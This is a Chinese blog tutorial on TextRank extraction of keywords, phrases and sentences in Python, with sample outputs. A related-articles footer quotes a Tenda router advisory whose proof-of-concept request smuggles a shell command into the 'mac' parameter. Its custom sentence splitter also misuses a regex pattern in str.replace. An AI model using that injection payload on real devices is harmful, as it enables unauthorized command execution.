【自然语言处理】TextRank 算法提取关键词、短语、句(Python源码实现)

news2025/2/13 17:47:01

文章目录

  • 一、TextRank 算法提取关键词 [工具包]
  • 二、TextRank 算法提取关键短语[工具包]
  • 三、TextRank 算法提取关键句[工具包]
  • 四、TextRank 算法提取关键句(Python源码实现)


一、TextRank 算法提取关键词 [工具包]

见链接
【自然语言处理】TextRank 算法提取关键词(Python源码实现)

也可以使用textrank4zh工具包

# coding=utf-8
# 导入textrank4zh的相关工具包
from textrank4zh import TextRank4Keyword, TextRank4Sentence

# 导入常用工具包
import pandas as pd
import numpy as np


# 关键词抽取
def keywords_extraction(text):
    # allow_speech_tags : 词性列表, 用于过滤某些词性的词
    tr4w = TextRank4Keyword(allow_speech_tags=['n', 'nr', 'nrfg', 'ns', 'nt', 'nz'])

    # text: 文本内容, 字符串
    # window: 窗口大小, int, 用来构造单词之间的边, 默认值为2
    # lower: 是否将英文文本转换为小写, 默认值为False
    # vertex_source: 选择使用words_no_filter, words_no_stop_words, words_all_filters中的>哪一个来构造pagerank对应的图中的节点
    #                默认值为'all_filters', 可选值为'no_filter', 'no_stop_words', 'all_filters'
    # edge_source: 选择使用words_no_filter, words_no_stop_words, words_all_filters中的哪>一个来构造pagerank对应的图中的节点之间的边
    #              默认值为'no_stop_words', 可选值为'no_filter', 'no_stop_words', 'all_filters', 边的构造要结合window参数
    # pagerank_config: pagerank算法参数配置, 阻尼系数为0.85

    tr4w.analyze(text=text, window=2, lower=True, vertex_source='all_filters',
                 edge_source='no_stop_words', pagerank_config={'alpha': 0.85, })

    # num: 返回关键词数量
    # word_min_len: 词的最小长度, 默认值为1
    keywords = tr4w.get_keywords(num=6, word_min_len=2)

    # 返回关键词
    return keywords


if __name__ == "__main__":
    text = "来源:中国科学报本报讯(记者肖洁)又有一位中国科学家喜获小行星命名殊荣!4月19日下午,中国科学院国家天文台在京举行“周又元星”颁授仪式," \
           "我国天文学家、中国科学院院士周又元的弟子与后辈在欢声笑语中济济一堂。国家天文台党委书记、" \
           "副台长赵刚在致辞一开始更是送上白居易的诗句:“令公桃李满天下,何须堂前更种花。”" \
           "据介绍,这颗小行星由国家天文台施密特CCD小行星项目组于1997年9月26日发现于兴隆观测站," \
           "获得国际永久编号第120730号。2018年9月25日,经国家天文台申报," \
           "国际天文学联合会小天体联合会小天体命名委员会批准,国际天文学联合会《小行星通报》通知国际社会," \
           "正式将该小行星命名为“周又元星”。"

    # 关键词抽取
    keywords = keywords_extraction(text)
    print(keywords)

[{‘word’: ‘小行星’, ‘weight’: 0.05808441467341854}, {‘word’: ‘天文台’, ‘weight’: 0.057216537757425114}, {‘word’: ‘命名’, ‘weight’: 0.0485177005159723}, {‘word’: ‘中国’, ‘weight’: 0.04571647812425182}, {‘word’: ‘中国科学院’, ‘weight’: 0.03781893783699663}, {‘word’: ‘国家’, ‘weight’: 0.03438059254484017}]

二、TextRank 算法提取关键短语[工具包]

关键短语抽取: 关键词抽取结束后, 可以得到N个关键词, 在原始文本中相邻的关键词便构成了关键短语.
具体方法: 分析get_keyphrases()函数可知, 内部实现上先调用get_keywords()得到关键词, 然后分析关键词是否存在相邻的情况, 最后即可确定哪些是关键短语.

# coding=utf-8
from textrank4zh import TextRank4Keyword, TextRank4Sentence


# 关键短语抽取
def keyphrases_extraction(text):
    tr4w = TextRank4Keyword()

    tr4w.analyze(text=text, window=2, lower=True, vertex_source='all_filters',
                 edge_source='no_stop_words', pagerank_config={'alpha': 0.85, })

    # keywords_num: 抽取的关键词数量
    # min_occur_num: 关键短语在文中的最少出现次数
    keyphrases = tr4w.get_keyphrases(keywords_num=6, min_occur_num=1)

    # 返回关键短语
    return keyphrases


if __name__ == "__main__":
    text = "来源:中国科学报本报讯(记者肖洁)又有一位中国科学家喜获小行星命名殊荣!4月19日下午,中国科学院国家天文台在京举行“周又元星”颁授仪式," \
           "我国天文学家、中国科学院院士周又元的弟子与后辈在欢声笑语中济济一堂。国家天文台党委书记、" \
           "副台长赵刚在致辞一开始更是送上白居易的诗句:“令公桃李满天下,何须堂前更种花。”" \
           "据介绍,这颗小行星由国家天文台施密特CCD小行星项目组于1997年9月26日发现于兴隆观测站," \
           "获得国际永久编号第120730号。2018年9月25日,经国家天文台申报," \
           "国际天文学联合会小天体联合会小天体命名委员会批准,国际天文学联合会《小行星通报》通知国际社会," \
           "正式将该小行星命名为“周又元星”。"

    # 关键短语抽取
    keyphrases = keyphrases_extraction(text)
    print(keyphrases)

[‘小行星命名’]

三、TextRank 算法提取关键句[工具包]

关键句抽取: 句子抽取任务主要就是为了解决自动文本摘要任务, 将每一个sentence作为一个顶点, 根据两个句子之间的内容重复程度来计算他们之间的相似度. 由于不同的句子对之间相似度大小不同, 因此最终构建的是以相似度大小作为edge权重的有权图.


from textrank4zh import TextRank4Keyword, TextRank4Sentence


# 关键句抽取
def keysentences_extraction(text):
    tr4s = TextRank4Sentence()

    # text: 文本内容, 字符串
    # lower: 是否将英文文本转换为小写, 默认值为False
    # source: 选择使用words_no_filter, words_no_stop_words, words_all_filters中的哪一个来生成句子之间的相似度
    #         默认值为'all_filters', 可选值为'no_filter', 'no_stop_words', 'all_filters'
    tr4s.analyze(text, lower=True, source='all_filters')

    # 获取最重要的num个长度大于等于sentence_min_len的句子用来生成摘要
    keysentences = tr4s.get_key_sentences(num=3, sentence_min_len=6)

    # 返回关键句子
    return keysentences


if __name__ == "__main__":
    text = "来源:中国科学报本报讯(记者肖洁)又有一位中国科学家喜获小行星命名殊荣!4月19日下午,中国科学院国家天文台在京举行“周又元星”颁授仪式," \
           "我国天文学家、中国科学院院士周又元的弟子与后辈在欢声笑语中济济一堂。国家天文台党委书记、" \
           "副台长赵刚在致辞一开始更是送上白居易的诗句:“令公桃李满天下,何须堂前更种花。”" \
           "据介绍,这颗小行星由国家天文台施密特CCD小行星项目组于1997年9月26日发现于兴隆观测站," \
           "获得国际永久编号第120730号。2018年9月25日,经国家天文台申报," \
           "国际天文学联合会小天体联合会小天体命名委员会批准,国际天文学联合会《小行星通报》通知国际社会," \
           "正式将该小行星命名为“周又元星”。"

    # 关键句抽取
    keysentences = keysentences_extraction(text)
    print(keysentences)

[{‘index’: 4, ‘sentence’: ‘2018年9月25日,经国家天文台申报,国际天文学联合会小天体联合会小天体命名委员会批准,国际天文学联合会《小行星通报》通知国际社会,正式将该小行星命名为“周又元星”’, ‘weight’: 0.22810403250964517}, {‘index’: 3, ‘sentence’: ‘”据介绍,这颗小行星由国家天文台施密特CCD小行星项目组于1997年9月26日发现于兴隆观测站,获得国际永久编号第120730号’, ‘weight’: 0.21062461059717202}, {‘index’: 1, ‘sentence’: ‘4月19日下午,中国科学院国家天文台在京举行“周又元星”颁授仪式,我国天文学家、中国科学院院士周又元的弟子与后辈在欢声笑语中济济一堂’, ‘weight’: 0.20209234016610828}]

四、TextRank 算法提取关键句(Python源码实现)

原理参考【自然语言处理】TextRank 算法提取关键词(Python源码实现)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: yudengwu(余登武)
# @Date  : 2025/2/06
#@email:1344732766@qq.com


import jieba
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity
import numpy as np

class TextRank(object):
    def __init__(self, text, alpha, iternum):
        self.text = text  # 文本
        self.alpha = alpha  # 权重
        self.iternum = iternum  # 迭代次数
        self.top_n=2 #文本句子最小个数



    # 辅助函数 Jieba 分词
    def chinese_tokenizer(self,sentence):
        return jieba.cut(sentence, cut_all=False)

    # 辅助函数 余弦相似度
    def cosine_similarity_text(self,str1, str2):
        words1 = ' '.join(self.chinese_tokenizer(str1))
        words2 = ' '.join(self.chinese_tokenizer(str2))
        vectorizer = TfidfVectorizer()
        tfidf = vectorizer.fit_transform([words1, words2])
        return cosine_similarity(tfidf)[0][1]



    ##步骤1   对文本进行分句
    def cut_text(self):
        # 1. 分句
        self.text = self.text.replace(r"!|?", "。")  # 将! ?替换为句号
        self.sentences = self.text.split(r"。")  # 简单按句号分句

    #步骤2  根据边的相连关系,构建矩阵
    def createMatrix(self):
        # 计算句子相似度矩阵
        self.sim_matrix = np.zeros((len(self.sentences), len(self.sentences)))
        for i in range(len(self.sentences)):
            for j in range(len(self.sentences)):
                if i != j:
                    self.sim_matrix[i][j] = self.cosine_similarity_text(str(self.sentences[i]), str(self.sentences[j]))

        # 归一化
        for j in range(self.sim_matrix.shape[1]):  # 列
            sum = 0.1  # 防止分母为0
            for i in range(self.sim_matrix.shape[0]):  # 行
                sum += self.sim_matrix[i][j]  # 一列的和
            for i in range(self.sim_matrix.shape[0]):
                self.sim_matrix[i][j] /= sum

    # 步骤3  根据textrank公式计算权重

    def calPR(self):
        self.PR = np.ones((len(self.sentences), 1))  # 每个句子重要性初始化为1
        for i in range(self.iternum):
            self.PR = (1 - self.alpha) + self.alpha * np.dot(self.sim_matrix, self.PR)  # 重要性迭代更新

    # 步骤4  输出词和相应的权重
    def printResult(self):
        word_pr = {}
        for i in range(len(self.PR)):
            word_pr[self.sentences[i]] = self.PR[i][0]  # {句子:重要性}
            res = sorted(word_pr.items(), key=lambda x: x[1], reverse=True)[:5]  # 前5个句子
        print(res)





if __name__ == '__main__':
    # 示例
    text = "来源:中国科学报本报讯(记者肖洁)又有一位中国科学家喜获小行星命名殊荣!4月19日下午,中国科学院国家天文台在京举行“周又元星”颁授仪式," \
           "我国天文学家、中国科学院院士周又元的弟子与后辈在欢声笑语中济济一堂。国家天文台党委书记、" \
           "副台长赵刚在致辞一开始更是送上白居易的诗句:“令公桃李满天下,何须堂前更种花。”" \
           "据介绍,这颗小行星由国家天文台施密特CCD小行星项目组于1997年9月26日发现于兴隆观测站," \
           "获得国际永久编号第120730号。2018年9月25日,经国家天文台申报," \
           "国际天文学联合会小天体联合会小天体命名委员会批准,国际天文学联合会《小行星通报》通知国际社会," \
           "正式将该小行星命名为“周又元星”。"
    tr = TextRank(text, 0.85, 600)
    tr.cut_text()
    tr.createMatrix()
    tr.calPR()
    tr.printResult()

结果>[(‘2018年9月25日,经国家天文台申报,国际天文学联合会小天体联合会小天体命名委员会批准,国际天文学联合会《小行星通报》通知国际社会,正式将该小行星命名为“周又元星”’, 0.4601715134048322), (‘”据介绍,这颗小行星由国家天文台施密特CCD小行星项目组于1997年9月26日发现于兴隆观测站,获得国际永久编号第120730号’, 0.42860509563953664), (‘来源:中国科学报本报讯(记者肖洁)又有一位中国科学家喜获小行星命名殊荣!4月19日下午,中国科学院国家天文台在京举行“周又元星”颁授仪式,我国天文学家、中国科学院院士周又元的弟子与后辈在欢声笑语中济济一堂’, 0.3821014436325072), (‘国家天文台党委书记、副台长赵刚在致辞一开始更是送上白居易的诗句:“令公桃李满天下,何须堂前更种花’, 0.2869523859422471), (‘’, 0.15000000000000002)]

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2297483.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

记一次Self XSS+CSRF组合利用

视频教程在我主页简介或专栏里 (不懂都可以来问我 专栏找我哦) 目录:  确认 XSS 漏洞 确认 CSRF 漏洞 这个漏洞是我在应用程序的订阅表单中发现的一个 XSS 漏洞,只能通过 POST 请求进行利用。通常情况下,基于 POST 的…

JDBC如何连接数据库

首先,我们要去下载JDBC的驱动程序 官网下载地址:https://downloads.mysql.com/archives/c-j/ 选择最新版本就可以 然后回到我们idea点击file - project Structure - Modules, 就行了 参考1:如何解决JDBC连接数据库出现问题且对进行数据库操…

AI语言模型的技术之争:DeepSeek与ChatGPT的架构与训练揭秘

云边有个稻草人-CSDN博客 目录 第一章:DeepSeek与ChatGPT的基础概述 1.1 DeepSeek简介 1.2 ChatGPT简介 第二章:模型架构对比 2.1 Transformer架构:核心相似性 2.2 模型规模与参数 第三章:训练方法与技术 3.1 预训练与微调…

网络安全威胁是什么

1.网络安全威胁的概念 网络安全威胁指网络中对存在缺陷的潜在利用,这些缺陷可能导致信息泄露、系统资源耗尽、非法访问、资源被盗、系统或数据被破坏等。 2.网络安全威胁的类型 物理威胁系统漏洞威胁身份鉴别威胁线缆连接威胁有害程序危险 (1&#x…

驱动开发、移植(最后的说法有误,以后会修正)

一、任务明确:把创龙MX8的驱动 按照我们的要求 然后移植到 我们的板子 1.Linux系统启动卡制作, sd卡 先按照 《用户手册—3-2-Linux系统启动卡制作及系统固化》 把创龙的Linux系统刷进去。 2. 把TLIMX8-EVM的板子过一遍 把刚刚烧好系统的sd卡插入 创…

归并排序(C# C++)

目录 1 归并排序的基本概念 2 算法步骤 2-1 分解阶段 2-2 合并阶段 3 代码实现 3-1 C#代码示例(该代码在unity环境下) 3-2 C代码示例 1 归并排序的基本概念 归并排序(Merge Sort)是一种经典的分治算法,由约翰…

如何使用智能化RFID管控系统,对涉密物品进行安全有效的管理?

载体主要包括纸质文件、笔记本电脑、优盘、光盘、移动硬盘、打印机、复印机、录音设备等,载体(特别是涉密载体)是各保密、机要单位保证涉密信息安全、防止涉密信息泄露的重要信息载体。载体管控系统主要采用RFID射频识别及物联网技术&#xf…

华为云kubernetes基于keda自动伸缩deployment副本(监听redis队列长度)

1 概述 KEDA(Kubernetes-based Event-Driven Autoscaler,网址是https://keda.sh)是在 Kubernetes 中事件驱动的弹性伸缩器,功能非常强大。不仅支持根据基础的CPU和内存指标进行伸缩,还支持根据各种消息队列中的长度、…

入选TPAMI2025!傅里叶变换+目标检测新突破!

今天给大家推荐一个目标检测,好发不卷的新思路:与傅里叶变换结合! 一方面,不仅能提升检测的准确性和可靠性,还能增强模型的通用性和适应性,灵活应对复杂场景。比如TPAMI25的FSD模型,便通过该方…

物联网智能语音控制灯光系统设计与实现

背景 随着物联网技术的蓬勃发展,智能家居逐渐成为现代生活的一部分。在众多智能家居应用中,智能灯光控制系统尤为重要。通过语音控制和自动调节灯光,用户可以更便捷地操作家中的照明设备,提高生活的舒适度与便利性。本文将介绍一…

等级保护2.0|网络安全服务

等级保护2.0|网络安全服务 定义 对于国家秘密信息、法人和其他组织及公民专有信息以及公开信息的存储、传输、处理这些信息系统分等级实行安全保护,对信息系统中发生的信息安全时间分等级响应、处置。 思想 对信息安全实行等级化保护和等级化管理 目标 突出重…

安科瑞光伏发电防逆流解决方案——守护电网安全,提升能源效率

安科瑞 华楠 18706163979 在当今大力发展清洁能源的时代背景下,光伏发电作为一种可持续的能源解决方案, 正得到越来越广泛的应用。然而,光伏发电过程中出现的逆流问题,给电网的安全稳定 运行带来了诸多挑战。若不能有效解决&…

Web第二次作业_补充完小鹅通首页(静态)

目录 题目 index css style 解题 技术优势 html css 运营服务 html css 小鹅通 html css 咨询 html css 友情链接、公司信息 html css 效果展示 技术优势 运营服务 小鹅通 咨询 友情链接、公司信息 题目 index <!DOCTYPE html> <html lang…

碳纤维复合材料制造的六西格玛管理实践:破解高端制造良率困局的实战密码

碳纤维复合材料制造的六西格玛管理实践&#xff1a;破解高端制造良率困局的实战密码 在全球碳中和与高端制造升级的双重驱动下&#xff0c;碳纤维复合材料行业正经历前爆发式增长。航空航天、新能源汽车、风电叶片等领域对碳纤维产品的性能稳定性提出近乎苛刻的要求&#xff0…

在 Mac ARM 架构上使用 nvm 安装 Node.js 版本 16.20.2

文章目录 1. 安装 nvm&#xff08;如果还没有安装的话&#xff09;2. 加载 nvm 配置3. 列出特定系列的 Node.js 版本&#xff08;远程&#xff09;&#xff1a;4. 安装 Node.js 16.20.25. 使用指定版本的 Node.js6. 验证安装 在 Mac ARM 架构上使用 nvm 安装 Node.js 版本 16.…

tenda路由器WriteFacMac存在远程命令执行漏洞(CVE-2024-10697)

一、漏洞简介 tenda路由器WriteFacMac存在远程命令执行漏洞 二、漏洞影响 tenda路由器三、网络测绘&#xff1a; fofa: title"Tenda | LOGIN"四、复现过程 POC 1 GET /goform/WriteFacMac?macls%20%3E/webroot/1.txt HTTP/1.1 Accept: text/html,application/…

【NLP 21、实践 ③ 全切分函数切分句子】

当无数个自己离去&#xff0c;我便日益坦然 —— 25.2.9 一、jieba分词器 Jieba 是一款优秀的 Python 中文分词库&#xff0c;它支持多种分词模式&#xff0c;其中全切分方式会将句子中所有可能的词语都扫描出来。 1.原理 全切分方式会找出句子中所有可能的词语组合。对于一…

晶闸管主要参数分析与损耗计算

1. 主要参数 断态正向可重复峰值电压 :是晶闸管在不损坏的情况下能够承受的正向最大阻断电压。断态正向不可重复峰值电压 :是晶闸管只有一次可以超过的正向最大阻断电压,一旦晶闸管超过此值就会损坏,一般情况下 反向可重复峰值电压 :是指晶闸管在不损坏的情况下能够承受的…

基于Java的分布式系统架构设计与实现

Java在大数据处理中的应用&#xff1a;基于Java的分布式系统架构设计与实现 随着大数据时代的到来&#xff0c;数据处理的规模和复杂性不断增加。为了高效处理海量数据&#xff0c;分布式系统成为了必不可少的架构之一。而Java&#xff0c;凭借其平台独立性、丰富的生态系统以…

记使用AScript自动化操作ios苹果手机

公司业务需要自动化操作手机&#xff0c;本来以为很困难&#xff0c;没想到使用AScript工具出乎意料的简单&#xff0c;但是还有很多坑存在&#xff0c;写个博客记录一下。 工具信息&#xff1a; 手机&#xff1a;iphone7 系统版本&#xff1a;ios15 AScript官方文档链接&a…